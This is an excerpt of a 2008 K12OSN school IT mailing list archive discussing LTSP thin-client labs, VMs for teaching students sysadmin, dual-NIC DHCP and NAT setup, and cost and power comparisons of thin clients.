I'm not scared of them messing up their config files. So they bork their OS beyond repair. They just delete the VM and start again. It also defeats the purpose of having them learn how to setup raid and everything else. I'm hoping I will be able to create multple virtual HD so kids can learn how to setup a RAID system. Then stop the VM, remove one of the drives and see the U_ in /proc/mdstat, then tell them to add another drive and resync the mirror.

I can't allow kids to choose how much actual resources they give their VM's. I have to be able to set a limit on the amount of ram, HD size they can allocate. Also I don't want them to run more than one VM each.

I wouldn't be particularly concerned about what a VM can do compared to a physical host. NFS is about the only protocol that cares much about the client uid and you could spoof anything equally well from a knoppix CD boot or appropriate windows tools anyway. A root user on a client vm would be able to use tcpdump or wireshark to see everything the host and other clients see on a bridged interface. I'm not sure how the nat interfaces work in that regard - but again you could do it from windows too. You have some control over who can access each machine in that you can only connect to a machine if you have execute permission on its *.vmx file that has the machine definition. You should be able to pre-create an uninstalled vm, copy it for each user and with appropriate ownership and mode settings, each user will only be able to see and start his own VM. Only one will be able to grab 'real' resources like the host CD,floppy, sound, or usb devices at at time, though. I think the system will permit a user to increase the ram his vm will see, but top or ps on the host would show the real resource usage by vm. -- Les Mikesell les at futuresource.com From rob.owens at biochemfluidics.com Fri Jan 18 15:39:14 2008 From: rob.owens at biochemfluidics.com (Rob Owens) Date: Fri, 18 Jan 2008 10:39:14 -0500 Subject: [K12OSN] teaching kids sys admin with VM's In-Reply-To: References: <1200622269.32307.96.camel@merlin.localnetsolutions.com> Message-ID: <4790C822.9040008@biochemfluidics.com> Robert Arkiletian wrote: > On Jan 17, 2008 6:11 PM, James P.

Create a bridged interface on the host machine for each virtual machine, and let the students ssh into them. Positives: You control how much ram is allocated, and the students can't start/stop the virtual machines without your authorization. Negatives: Students will have to install the OS at your desk (or logged in to your account -- or a special account made just for this case) because you own the virtual machine. The virtual machines will also be visible to the local network (but possibly you could firewall them off so that the network won't be brought down by a rogue DHCP server). I'd also like to recommend you try VirtualBox. I've been using it on Debian with great success. Its interface looks like VMware, but it was a quicker installation than VMware (last time I tried VMware, anyway). There is an open source version that is not crippled in any serious way. The debian package is virtualbox-ose. -Rob >> As for teaching an installation, the RedHat derivatives have the ability >> to record an installation process as a flash movie file (or maybe that >> was doing it over vnc - I forget).

I just meant that to administer their virtual machine, they would need to connect remotely since they cannot run the virtual machine directly. You can run NX/freenx over ssh if that's all you want to permit in. However I think in the previous post you suggested a separate bridged ethernet for each users. On the host side you can only set up bridging to physical interfaces.

It seemed to do ok, but the machines were not really doing anything (just running idle). I've booted 2 or 3 at once (Debian Etch text mode) and my dual core AMD 5600 w/ 4 GB ram handled that ok. I've never tried running any more than 5 simultaneous machines, though. > > What's VMware's remote console, and what do you use it for? Maybe I could tell you if VirtualBox has something similar. (or forget about it and just use VMware) Vmware console is the GUI interface that controls the virtual machines and lets you access their consoles. It is separate and optional, and can run on a different machine. If you set up ssh/vnc/xdm/freenx on the guest machine you can access directly instead, but the console is needed during installs up to the point where the network is set up. Security-wise, you connect the console as a user on the host and you can access only the machines where that user has execute permission on the virtual guest's *.vmx (description) file. Multiple (or no) consoles can be connected to the same guest and it feels more or less like vnc. It can also do a few tricks like connecting a guest to the CD on the machine running the console. -- Les Mikesell lesmikesell at gmail.com From les at futuresource.com Fri Jan 18 23:17:42 2008 From: les at futuresource.com (Les Mikesell) Date: Fri, 18 Jan 2008 17:17:42 -0600 Subject: [K12OSN] teaching kids sys admin with VM's In-Reply-To: References: <1200622269.32307.96.camel@merlin.localnetsolutions.com> <4790C822.9040008@biochemfluidics.com> <20080118222425.GC2253@junker.owens.net> Message-ID: <47913396.8060409@futuresource.com> Robert Arkiletian wrote: > On Jan 18, 2008 2:24 PM, Rob Owens wrote: > >> What's VMware's remote console, and what do you use it for?

So basically connect to your VM remotely. At least this is my > understanding. It can run on the console of the host machine if you want, or it can run remotely. It is also cross-platform, so from a windows box you can run the console of a guest on a linux server or vice-versa. Personally I prefer to connect directly to the guest with any of the remote access methods you'd use on a physical box after the install is complete, though. Ssh, remote X, NX, remote desktop, etc. are nicer once you can use them. -- Les Mikesell lesmikesell at gmail.com From dahopkins429 at gmail.com Sat Jan 19 00:50:21 2008 From: dahopkins429 at gmail.com (David Hopkins) Date: Fri, 18 Jan 2008 19:50:21 -0500 Subject: [K12OSN] Sabayon or /etc/skel In-Reply-To: References: Message-ID: On Jan 18, 2008 4:15 PM, Kemp, Levi wrote: > > -----Original Message----- > > From: k12osn-bounces at redhat.com > > [mailto:k12osn-bounces at redhat.com] On Behalf Of Kemp, Levi > > Sent: Thursday, January 17, 2008 11:11 AM > > To: Support list for open source software in schools. > > Subject: [K12OSN] Sabayon or /etc/skel > > > > I'm working on user profiles and was wondering which way > > would be better.

I needed to hook up multiple printers for my Dad, all various HP models. He now runs CentOS 5. 2.) Problem: he has only one parallel port. 3.) Solution: the TRENDnet TE100-P1P print server. It's this neat little $45 device that plugs right into the parallel port and speaks not just HP JetDirect-ese, but apparently also IPP and LPR (and a few other languages). I used its "HP JetDirect" mode, which is called something like "TCP/IP printing" on this model. Works like a champ; CUPS talks to it just like any other JetDirect device with no problems. When I get back home, I'm converting my LaserJet 6L (yes, old, but it works great) from parallel to network printer using this thing (I bought an extra).

This way, you're far less limited in where you can physically put a printer. That is, you're not limited by the length of a USB or LPT cable. Perhaps you're thinking that you'd have to run *both* a Cat 5 cable and an LPT cable? If so, then the answer is no, you don't.

That's what an external JetDirect card, or this little $45 box, does. It turns the parallel port on the printer itself *into* a network jack.

AFAIK those scripts don't need the executable bit set, so something like 644 would be more appropriate. This is also the default mode when I touch a file. Nils Breunese.

I upgraded it from 4 GB of RAM to 8 GB (which I found out later was pointless), in order to help the speed issues. The speed issue is not a problem when one or two are trying to run different programs. The issues appear when you've got a room full of impatient first graders who are "click happy". The teachers aren't real thrilled about the problems and are grumbling about the K12LTSP lab. I've got another lab for 4th grade running the exact same setup and the Flash is not an issue with them as they don't use it much. As far as speed issues, they've been trained to click once and wait - not to sit there continuously clicking. After all this explanation, my question is this: what would be the specs needed for a decent/sufficient server running Centos5 and serving less than 30 terminals? I've got some money to spend, but not a large amount. Am I right in assuming that it's not a memory issue as much as it is a processor issue? In other words, won't I be a lot better off with either multiple processors or a dual-core type processor? Thanks for any help on this matter.

If you can toss a dual core into the box, that will be the good. If you can put in a quad-core, even better. I'm unclear on the specs of the machine you listed. You will need to run the PAE kernel on the server to use the 8GB most efficiently (I think that machine is 32-bit and not 64-bit). The 32-bit systems can't address more than 4GB RAM directly and the PAE kernels provide a workaround.

Odd name huh?:) I've used this for a couple years and works like a champ. It will even go across routers,to other subnets on your lan if need be. There is a nice simple " howto" on this site to explain getting started as well. Bottom line ,,IF you want to and have all your PC's set to wake on lan/WOL in bios you can simply broadcast and ALL pc's will wake. I found that even old boxes with primitive first generation WOL Bios wakeonlan will wake them up. if you want specific machines,which would be most cases you build an ethers file and it only ignites the pc's by mac address in the ethers file. Hope this helps. There are several for Winders available too,if you prefer Winders based GUI wakeonlan progs. I prefer the stablity of Linux core stuff,myself. http://gsd.di.uminho.pt/jpo/software/wakeonlan/ Take care, Barry Cisna From nadavkav at gmail.com Tue Jan 22 21:27:00 2008 From: nadavkav at gmail.com (Nadav Kavalerchik) Date: Tue, 22 Jan 2008 23:27:00 +0200 Subject: [K12OSN] terminal does not boot / kernel is not transmitted with tftp [solved] Message-ID: <4219988b0801221327x49bed3beg5ba0a087a5a8da7f@mail.gmail.com> Hello Dear Friends :-) just to let you know about an issue we had with a new install. so you don't have to run trough it yourself :-) we connected the LTSP server inside a pre-configured LAN and the "internet" nic was getting 192.168.10.XXX IP address from the DHCP that is running inside the Internet's router. this, cause the terminals not to boot since the "terminals" nic was predefined with the same subnet.

I am not in a school situation but if would be pointless if the multiple clicks are not avoided even with faster server+multiple CPU's there are times when lag will occur when many users will start an application together. Better is to group UID's in a range and then make a script that restricts number of program instances based on UID. This way you can have people in certain UID range - say teachers - launch multiple instances while restricting the others. -- Regards, Sudev Barar Read http://blog.sudev.in for topics ranging from here to there.

A better process would be to "hide" the maildir as a .maildir folder. Then a symlink of Mail->.maildir which if deleted is easily recreated with a cron script. The .maildir will be then immune from most user deletions. This will require a slight change in the sendmail/postfix/qmail setup to use the new location.

I'm going to look into this more later if I have time, but what did you mean by using Squid proxy? Can it be used to cache pages that all the students use? I know a lot of my teachers use web sites for Math and Science lessons and all the students use them at one time. No one complains about speed, but anything to improve there experience would be great.

Opera's new 9.5 version has a 64bit version that supports flash 9. It's still in beta and I think still has a few bugs but it's nice to know this is coming.

I am using LDAP and created some new accounts. The home directory is specifed as /home/Grad_year/user_account in ldap. On the fileserver, home directories were moved a few months back from /home to /large_disk_array/home and /home was then linked (ln) to /large_disk_array/home. All the LTSP servers mount the array as /home, and everything seems to work. On the fileserver, the account exists in the correct location, and su - to that account ends up in the correct location. All the accounts can log on from the LTSP servers as well, and everything works. BUT ... if you cd to /home/Grad_year and type 'ls', the home directory for the new users does not appear. If you type "ls -d /home/Grad_year/user_account" it shows the account and if you type "ls /home/Grad_year/user_account", it shows the correct contents. I have no idea what is going on with these accounts.

The regular K12LTSP releases are based on Fedora Core and yes, Fedora Core has a very short life cycle. But there are also EL (Enterprise Linux) versions of K12LTSP, which are based on CentOS (which in turn is a Red Hat Enterprise Linux clone). The current version is K12LTSP 5EL, which is based on CentOS 5. CentOS has a supported lifetime of 7 years (compared to Fedora's ~1 year).

The regular K12LTSP releases are based on Fedora Core and yes, Fedora Core has a very short life cycle. But there are also EL (Enterprise Linux) versions of K12LTSP, which are based on CentOS (which in turn is a Red Hat Enterprise Linux clone). The current version is K12LTSP 5EL, which is based on CentOS 5. CentOS has a supported lifetime of 7 years (compared to Fedora's ~1 year).

The only thing I hate about the K12LTSP project(s) is the speed in which they are obsoleted.

One of my reasons for going to it in the first place was the fact that you plug it in and it works. But, it seems with every new version, there are new kinks that you gotta work out or wait until the ones who know how to fix them get them fixed, but by then, it is obsoloeted already and it is no longer available. The upgrades aren't upgrades. They are completely new installs with completely new sets of bugs and kinks. And I am just a small-time user. . . My server at home that my family uses is FC3.

However, I (and others on this list) really, REALLY recommend swapping out K12LTSP 6.0 for K12LTSP 5.0EL.

When I did it on K12LTSP 4.2EL, it left the original OpenOffice.org 1.1.5, but 2.3 was also there in the menus. However, it will actually outright replace any previous OpenOffice.org 2.x version, which is what you want, regardless of K12LTSP version.

If I am correct, then it is not an Anjuta problem after all. Some of the students created the files through Anjuta. They opened up the editor and created a new file then typed in their code and it was successful. Other students would go to the file browser, right click and create an empty document, then they would open it up with Anjuta and edit it. I believe that those are the students that are having the file permission problems. Those files end up getting 600 for their file permissions.

As a rule of thumb (and it seems relevant here), my experience is it works better to not try to "lock" information but instead to _overwrite_ it every time a student logs in. It's much easier to maintain and change, less exposed to hackers, doesn't focus pissed off students on determined efforts to best you, is consistent with things like DeepFreeze, and is forgiving of oversights. Even if unbeknownst to you some unknown number of students manages to change a setting, your system automatically without your intervention or even your realization puts everything back right again the very next time.

However, I got it from RPMForge's repositories, not K12LTSP's. Works on both stock CentOS 5.1 (my Dad's new box) and K12LTSP 5.0EL. I did both while I was in Vegas (I just got back Thursday night).

If only Adobe would just be capable of creating a 64-bit version of their Flash Player... Nils Breunese. P.S.1. We run a K12LTSP 5EL server with 64-bit Firefox and nspluginwrapper to be able to use the 32-bit Flash Player. That works fine, but I don't know about sound (and whether the whole 64-bit versus 32-bit thing has anything to do with it). P.S.2. Others just install Firefox 32-bit on their 64-bit OS and that apparently works just fine as well. Don't know if that helps with sound though. P.S.3. Apparently Opera 9.5 will support running the 32-bit Flash Player plugin under the 64-bit version of Opera out-of-the-box.

In October 2006 Tinic Uro blogged: "What about 64bit? There is no Windows 64bit or OS X 64bit version either right now. As I said before it is not a question of 'recompiling' the source code, there is lots of generic non platform specific work which needs to be finished first. We will ship a 64bit version for Windows, OS X Leopard and GNU/ Linux. It will happen. When? ... When it is ready." (http://www.kaourantin.net/2006/10/flash-player-9-for-linux-beta-1.html ) It's January 2008 now. Every major OS has 64-bit versions. All modern processors are capable of 64-bit.

I was looking at thin clients the other day, and although I'm not sure the very inexpensive $85 Norhtec clients have enough power, it's looking like $150-$200 clients are possible. Our school is considering one option of using the Mac Mini for the student workstations. So potentially, that's $400+ savings up front per seat if using something like a $200 thin client. Actually, that might be an underestimate considering that the thin client hardware would probably have a longer duty cycle than stand-alone workstation. Of course, it's not that hard to come up with donated PCs, so that's a bigger savings. Software purchase, upgrades, and licensing seem like another significant per-seat expense. I assume most schools migrated from Windows, but the licensing requirements might be similar to Apple. Anyone have any numbers in this area? Energy savings might be a consideration, too. Some of the thin clients have very low power consumption. Swapping out 100 PCs with 300 watt power supplies to 100 thin clients that consume 10 watts might not be a huge difference in cost but not insignificant. Finally, it's hard not to imagine the management of 100 thin clients is significantly less than 100 workstation. Still, I doubt that often results in any savings. Rather just a change in admin tasks. Have you realized any quantifiable differences in management costs? Anything else? -- Bill Moseley moseley at hank.org From ahodson at elp.rr.com Sun Jan 27 21:58:21 2008 From: ahodson at elp.rr.com (Alan Hodson) Date: Sun, 27 Jan 2008 14:58:21 -0700 Subject: [K12OSN] Morley's Great K12LTSP labs - update In-Reply-To: <20080127154431.GA15670@junker.owens.net> References: <20080123151435.R82030@dyyme.pair.com> <47991B77.1060705@cmosnetworks.com> <47999607.550C.0078.0@leopards.k12.ar.us> <74E9021B-0171-4DC8-AFA6-0C7B737C475D@breun.nl> <4799AC54.550C.0078.0@leopards.k12.ar.us> <479A0828.8020404@scheie.homedns.org> <479A1776.50209@cmosnetworks.com> <479B36C2.4010604@scheie.homedns.org> <20080126231635.K38325@dyyme.pair.com> <98BE39B0-5F37-4615-9031-7E2852FFCDF4@breun.nl> <20080127154431.GA15670@junker.owens.net> Message-ID: <479CFE7D.4050109@elp.rr.com> Rob Owens wrote: > On Sun, Jan 27, 2008 at 04:43:03PM +0100, Nils Breunese wrote: > >> Tom Wolfe wrote: >> >> >>> OK that settles the question of whether to go 5.0 EL or not -- if I >>> have to struggle another nanosecond with getting flash to work with >>> 64-bit I don't want anything to do with it.

You can run the HUGEMEM kernel with PAE extensions if you need more than 4GB DRAM (assumes Intel CPU's for PAE, of course). --TP From twolfe at sawback.com Mon Jan 28 02:23:05 2008 From: twolfe at sawback.com (Tom Wolfe) Date: Sun, 27 Jan 2008 21:23:05 -0500 (EST) Subject: [K12OSN] Morley's Great K12LTSP labs - update In-Reply-To: <479D2452.8090804@cmosnetworks.com> References: <20080123151435.R82030@dyyme.pair.com> <47991B77.1060705@cmosnetworks.com> <47999607.550C.0078.0@leopards.k12.ar.us> <74E9021B-0171-4DC8-AFA6-0C7B737C475D@breun.nl> <4799AC54.550C.0078.0@leopards.k12.ar.us> <479A0828.8020404@scheie.homedns.org> <479A1776.50209@cmosnetworks.com> <479B36C2.4010604@scheie.homedns.org> <20080126231635.K38325@dyyme.pair.com> <479D2452.8090804@cmosnetworks.com> Message-ID: <20080127212205.L75462@dyyme.pair.com> Been there and done that.

There are currently no computers near the machines. The intention is to provide electronic (read-only) access to drawings at the machines and to enable machinists to record information in a spreadsheet (stuff like cycle times, reject rates, etc.) Here are the costs using my existing Linux terminal server: $150 - 17" widescreen monitor $240 - SYM1110 thin client $10 - roll-up spill-proof keyboard $15 - optical scroll-wheel mouse If we were to insist on using Microsoft Office, the additional cost would be: $75 - user license for our existing Windows terminal server $260 - MS Office 2003 Due to the space constraints, traditional desktop computers are probably not an option for us, but I configured one quickly on dell.com and it costs $578 (including 17" widescreen and XP Pro). Adding MS Office 2003 (bought from Amazon.com) brings the total to $838. The real alternative for us was putting laptops at each machine. This ironically turned out to be cheaper--it's on sale for $528. That's with a 15" widescreen and XP Pro. Adding MS Office 2003 brings it to $788. Of course a damaged laptop is more likely to get completely replaced that repaired, so you're likely to spend more in the near future.

This > ironically turned out to be cheaper--it's on sale for $528. Speaking of laptops, the best-suited laptop in the world for a machine shop would be a Panasonic Toughbook. This is the ruggedized laptop the military has used for years. Recent models are crazy expensive, but the most rugged version of all would make an excellent thin client. A CF-28 was available in three models, 600mhz, 800mhz and 1ghz. All are PIII, all come with 256 meg onboard. It has a magnesium case, and I can (and have) stood on it. There was a dizzying array of options available including, modem, cell/analog connect (with a cool internal whip antenna), ethernet, internal GPS, all have two miniPCI slots. They have two traditional PCMCIA slots, and all CF-28 have a third hidden slot, that is often loaded with a Cisco 350 wifi card. I got one for wardriving, and I am totally impressed. There are three keyboards available, I would avoid the full rubber backlit one, it is difficult to type on. They are very easy to work on, and some of the guys in a Toughbook forum go nuts adding stuff to it. The reason I mention this, there has been a CF-28 feeding frenzy on Evilbay for the last few weeks. A couple of places are unloading a lot of them. The hard drive caddies are often missing as they were decommissioned, and that's an expensive foam and gel-padded item. For LTSP, no HD needed of course, so that would be a help. People are picking them up for under USD $200, but recent models are USD $3k and up. -------------- next part -------------- A non-text attachment was scrubbed...

It's well worth your while. I'm afraid you're IT Technician isn't very familiar with Linux. The DHCP and DNS for the thin clients stays on the inside of the network, and doesn't go out the external network port. You can test this much the way I did. While not connected to the external network, make sure you are going to check the correct network port by starting a thin client from the internal network port. That makes sure you're going to test the external port. Then, try to boot another thin client from the external port, it shouldn't work. Set a regular computer, such as a windows machine, or another linux machine to use DHCP for it's network settings, and see if it will pull an IP address. If you're using a windows machine, you should get an IP address that starts with 169, which means that windows assigned itself an IP address, and didn't get one from the external port of the LTSP server. I ran into similar arguments. I was told to wait till they could get to me. I tested mine in this way, and went ahead and plugged into the school's network (although I'm a teacher, and not a student). It had been up and running about a week and a half by the time they decided they could get to me, only to find it had been running with no problems. Good luck.

Good that you're taking the plunge. You will be better off for it, and you're wiser than many. However, in a production deployment, I'd use K12LTSP 5.0EL instead of 6.0.0 because 6.0.0 no longer is supported for bugfixes. > > I've gotten the LTSP to work by following the installation guide, but > it has trouble getting on the Internet.

I understand why he told you that. He's afraid--as I am in my schools--that some yahoo will bring in a "rogue" DHCP server, install it on the network, and hose connectivity for half or even all of the school. Unlike you, far, far too many people don't pay attention to what they're doing. Your IT tech's simply playing safe by telling you what he told you. Having had to go find such rogue DHCP servers on my own networks, I can tell you that it's not fun tracking those down. Matter of fact, it's a royal PITA. To prevent justifying his fear, just make sure that you hook up eth0 and eth1 *CORRECTLY!* > > Is there anything that can be done about this problem without > resorting to buying another internet connection? Also, what should I > check before I plug the LTSP server into the network to prevent > anything catastrophic from happening (like disabling the school network)? Yep. Just make sure that eth1 is hooked up to the school network...and NOT eth0. Eth0 goes to the thin client segment *ONLY*, because that's where DHCP is served. Please do not get that backwards. Physically label your LTSP server's Ethernet ports if you have to. --TP From pstech at insightbb.com Tue Jan 29 15:13:13 2008 From: pstech at insightbb.com (pstech at insightbb.com) Date: Tue, 29 Jan 2008 09:13:13 -0600 Subject: [K12OSN] Need help integrating LTSP Server into school network In-Reply-To: <229185470801290417o5d89b6d2gafb2e63483b585ff@mail.gmail.com> References: <229185470801290417o5d89b6d2gafb2e63483b585ff@mail.gmail.com> Message-ID: Devry, You should have a dual network card setup on your LTSP server, and what I would recommend that you do is to set up the second NIC to use DHCP and plug it into the school network. It should pick up an IP address/subnet mask, default gateway, and DNS server info. After doing this, try to access the internet from the server. You may find that your issue is resolved. As an alternative, you can give the NIC card a static address assuming that you get the proper IP address/default gateway/DNS server info from your IT person. I seriously doubt that a second connection to the internet is necessary. You should be able to connect just fine through the school network. Just make sure the the DHCP running on the LTSP server is handing out addresses **only** on the NIC card that connects to your terminals. Mine here is set up with 10.0.1.x network for the terminals, and the other NIC connnects to the school network with a static address in the 192.168.0.x range. I set it up with a static address as we have part of our address pool reserved for things like servers, print servers, etc. Hope this helps you, and good luck with things. -Bob H. ----- Original Message ----- From: Devry Lin Date: Tuesday, January 29, 2008 6:18 Subject: [K12OSN] Need help integrating LTSP Server into school network To: k12osn at redhat.com > I am, a high schooler, completely new to K12LTSP and haven't > learned much > linux, and I am trying to get LTSP 6.0.0. to work in my school > for my IT > project... > > I've gotten the LTSP to work by following the installation > guide, but it has > trouble getting on the Internet.

Once you have done that, if you are planning on using DHCP or any other network services just make sure they are listening only on the NIC that is on the newly created VLAN, thus segmenting traffic to that VLAN and that should remove the threat to the rest of the network and if your IT guy understands this, it should make him rest easy.

I've gotten the LTSP to work by following the installation guide, but it has trouble getting on the Internet. I am not directly connecting to the Internet, instead I have to connect through my school's network that has a DHCP server and DNS Service (the rest of the school network runs windows machines). The IT Technician told me that I would need to buy a DSL connection so that the LTSP server is separate from the school's local network to prevent collisions in the services (presumably the DHCP and DNS). Is there anything that can be done about this problem without resorting to buying another internet connection? Also, what should I check before I plug the LTSP server into the network to prevent anything catastrophic from happening (like disabling the school network)? Is there any other detail that is needed?

Can someone fill in the steps here? I'm using Edubuntu so my configuration is likely different. My *Edubuntu* server uses eth1 for connecting to the local LAN and uses dhcpd. So in my /etc/network/interfaces I have: auto eth1 And then on Ubuntu NetworkManager handles connecting via dhcp client. On Debian I have: auto eth1 iface eth1 inet dhcp My eth0 is what connects to my switch and to the clients. auto eth0 iface eth0 inet static address 192.168.0.254 netmask 255.255.255.0 network 192.168.0.0 broadcast 192.168.0.255 # Enable NAT for non-thin clients. up iptables-restore < /etc/ltsp/nat.conf Now, since I'm running dhcpd on the LTSP server I only want it to listen on eth0, not eth1 which would conflict with the LAN's dhcpd. On Ubuntu in /etc/default/dhcp3-server I have: INTERFACES="eth0" And finally, to allow the ltsp clients (or any computer that connects to the ltsp switch) to use access the LAN (and thus the Internet) I have have /etc/ltsp/nat.conf: # Generated by iptables-save v1.3.6 on Sun Nov 4 10:38:59 2007 *nat :PREROUTING ACCEPT [5:565] :POSTROUTING ACCEPT [2:504] :OUTPUT ACCEPT [2:504] -A POSTROUTING -s 192.168.0.0/255.255.255.0 -j MASQUERADE COMMIT # Completed on Sun Nov 4 10:38:59 2007 > As an alternative, you can give the NIC card a static address > assuming that you get the proper IP address/default gateway/DNS > server info from your IT person.

K12LTSP uses 192.168.0.x subnet. Check what IP Addresses the school's DHCP server is giving out. If it is the same subnet as the K12LTSP, change your K12LSTP DHCP server to a different address schema. I would use a 10.0.0.x. -- Mel Wade "The real problem is not whether machines think but whether men do." - BF Skinner http://www.melwade.com -------------- next part -------------- An HTML attachment was scrubbed...

This normally doesn't cause trouble with updates because your ethernet hardware addresses are included in the configuration to subsequently tie down the device names. However if you re-install from scratch the eth0/eth1 names could easily be reversed. A safe way to check is to disconnect the main LAN side before the reboot following an install and make sure you can boot a thin client on the local side to show that your DHCP is going to the right place before reconnecting. -- Les Mikesell lesmikesell at gmail.com From henryhartley at westat.com Tue Jan 29 16:50:19 2008 From: henryhartley at westat.com (Henry Hartley) Date: Tue, 29 Jan 2008 11:50:19 -0500 Subject: [K12OSN] Anyone quantified savings using LTSP?

With all the problems with Viruses and Spyware and such, we won't even consider that route. We have always been a mac school in the past. Macs are nice, and there are ways to admin them with NetBoot and stuff to simplify things, but hardware replacement/repair has always been costly. So I can just give simple numbers that helped me convince administration of the switch. Say we went with the Mac Mini, and MS Office, plus the warranty extension (Macs like to fail at around 1 year with my experience, so the 90 day warranty doesn't cut it). Then you buy a 17" monitor from another vendor because no school can afford Apple monitors, here our 17" monitors with built-in speakers were $180. This will bring you to about $1000 with the basic configuration. So for the 108 clients we put in, we would spend $108,000 without any extra software besides MS Office and the iLife. So if students wanted to work with Photoshop, Typing software, etc, that would be extra as well. Our thin clients cost a total of $336. DevonIT 6020p 17" Planar monitor with speakers Logitech Keyboard & Optical mouse Our server which is a Dual Quad Core (8 cores) 2.66Ghz w/1333Mhz FSB, 16GB RAM expandable to 32GB, six 300GB SAS 3Gbps drives, six 1GB NIC's, was about $12,000. So our total for 108 thin clients, and the power to handle more, was $48,000. So bottom line we saved $60,000 up front. Now add the additional software, the central administration, the lower power consumption of the thin clients, the longer life cycle of hardware with no moving parts (with the exception of a cooling fan), and the fact that the thin clients will have a longer useful life before being outdated (estimated 6yrs compared to 3yrs for a standalone desktop), and your cost savings is much larger. And for those who don't need to save money, we could have installed 216 clients with all the above mentioned benefits for less than 108 macs. This is the benefit of what can be obtained once you get past the Windows/Apple huggers. We still have a 22 computer multimedia lab for our graphical arts classes which uses Apple eMac's and proprietary software. We still have Windows machines in the administration offices to work with proprietary software. So everything has its place, but we have gotten smart on cost where we can, and have increased the software offerings to students with no additional costs. And soon they will be able to use their school desktop from home, for free, another savings compared to Windows or Mac.

As others have stated the only real thing to be careful of is not getting your two nics mixed up. eth0 - goes to your own DEDICATED PRIVATE switch where all your classroom clients are connected. (If your switch is in a switch closet make sure your tech or anyone else does not plug an ethernet cable from somewhere else into YOUR switch) eth0 address will be set to 192.168.0.254 by default eth1 - goes to the school network as if it was just another windows computer your connecting. It gets it's address from the school DHCP server/router. you will be broadcasting dhcp on eth0 NOT eth1. So your ltsp server is now the gateway for all the clients. Good luck fighting FUD.

That's some machine. I'm wondering if it makes sense to use less expensive servers but more of them for the lstp servers. Seems like memory is the big issue -- so maybe a single quad core with 8GB RAM. Then make them basically mirrors of each other. Maybe pick one for NFS mounted home directories for the students. And have a way to quickly reset a collection of machines to use another server if one fails. If one class room needs more power add another inexpensive ltsp server. Are there any existing tools that can maintain a database of machines (mac IDs), students, grades, classes that can be used to create dhcpd and LDAP configurations? I can see a web interface that would all assignment of machines to ltsp servers and for grouping students into classes (groups) for shared access and to provide access by their teachers. > This is the benefit of what can be obtained once you get past the Windows/Apple huggers. > We still have a 22 computer multimedia lab for our graphical arts classes which uses > Apple eMac's and proprietary software.

Yes, I like that the savings realized can be used to buy a few really sweet multimedia machines for, say, video production. -- Bill Moseley moseley at hank.org From jkinney at localnetsolutions.com Wed Jan 30 04:33:10 2008 From: jkinney at localnetsolutions.com (James P.

These are nice and seriously low cost. Yes they are "slight" in terms of horsepower but the server is doing all the work anyway. I have had decent playback ability using them to play stuff like United Streaming . However, for things like TuxMath they are quite slow as they can't refresh the screen fast enough. They are PERFECT (!!!) for a library setting where the use will be a web site for catalog searches and maybe using OpenOffice or other writing tools. > > > Our school is considering one option of using the Mac Mini for the > student workstations.

Swapping out 100 PCs with > 300 watt power supplies to 100 thin clients that consume 10 watts > might not be a huge difference in cost but not insignificant. Swap out 100 PCs @ 300W plus 100 CRT's at 200W (not sure on this number - may be much lower) to thin clients at @12W and LCD monitors @ 25W = 46.3kW savings in the classrooms. There will be an increase in the server closet. A single server can run those 100 clients at around 650W plus another 20-40W of switching. Add some power use for things like battery backup (typical is 1/10 of the expected output load - so 65W here is a good estimate - it's higher during battery exercise cycles) and the power use for cooling (a single 650W server can be adequately cooled using a 10,000 BTU window AC unit running at under 50% duty cycle - around 3kW). So the savings are now around 42.5kW. But let's finish the math: Assume all the systems run 7 hours a day during school days (typically 180 days per school year). So 7.5kW X 7 hours/day X 180 days/SY X $0.10/kW-H = $945/school year for student computer use. If you use the old systems it will cost $6300. What can you do with a $5355 savings in a _school_ budget? :) > > Finally, it's hard not to imagine the management of 100 thin clients > is significantly less than 100 workstation.

The management of 100 clients consists of 1. Is the power, network, monitor, keyboard, mouse and sound all plugged in? If yes, it all works. If no, plug it in. The servers actually require very little maintenance to keep them running. Once the server is up and tuned, it just mostly works unattended. However if you want to start adding things then you need a good sysadmin. All the _real_ work happens between semesters and even that is not horrid. > > Anything else? > > > -- > Bill Moseley > moseley at hank.org > > _______________________________________________ > K12OSN mailing list > K12OSN at redhat.com > https://www.redhat.com/mailman/listinfo/k12osn > For more info see > -- James P.

The next generation of Linux admins is in the high schools! The _polite_ thing would be to request a static IP address for the out-facing side of the server. Then nicely explain that the server acts like a NAT router between the school and the clients. And also explain that the server will be also acting as a web cache so the bandwidth to the Internet will be a bit less. Be careful NOT to say the word proxy as that is a "bad word". Ask for help from the IT tech so you can hook it up "temporarily as a test" and remind them it is for a grade. Get them to talk to you about networking and IP addresses and how dhcp works. Be prepared to ask questions you know the answer to so you can make the tech feel good about "helping" you. Be prepared to discover they may not know enough to answer many questions.

Old PC's actually don't use much juice at all if you just pull the hard disks (the power cable to the HD is sufficient) and use LCD screens with them. CRT's are going to suck power whether you hook them up to a new Northtec-style thin client or an old PC. We once got a bunch of donated 15" LCD screens at one school, and they got put into a lab full of Dell OptiPlex GX1's. Once I flashed the BIOSes to the latest revision (took 5 minutes per box), things went smoothly as wet ice...and saved a nice wad of cash, too. --TP -------------- next part -------------- An HTML attachment was scrubbed...

It would have been better if you downloaded and installed k12ltsp-EL version which is based on CentOS which in turn is based on RHEL5. Now it would be better for you to install ltsp4.x from ltsp.org site rather than mix up with k12ltsp. > My hardware configuration. > > Dell SC430 server. > 1) Intel Dual core 2.0 Ghz 2 MB Cache > 2) 512 MB DDR RAM > 3) 250 GB * 2 SATA HDD. > 4) DVD ROM > 5) NIC Gigabit * 2 You will need more RAM go for as much as you can.

If so, I'd recommend starting over with one of the 5-EL versions from here: http://k12ltsp.org/mediawiki/index.php/DownLoad which is Centos plus what you need to boot thin clients (and some other extra stuff). The default install sets up eth1 as the 'outside' network and expects the clients only on a separate private network on eth0. You'll have to make a few changes and coordinate how DCHP is supposed to work if you want a flat LAN on a single NIC.

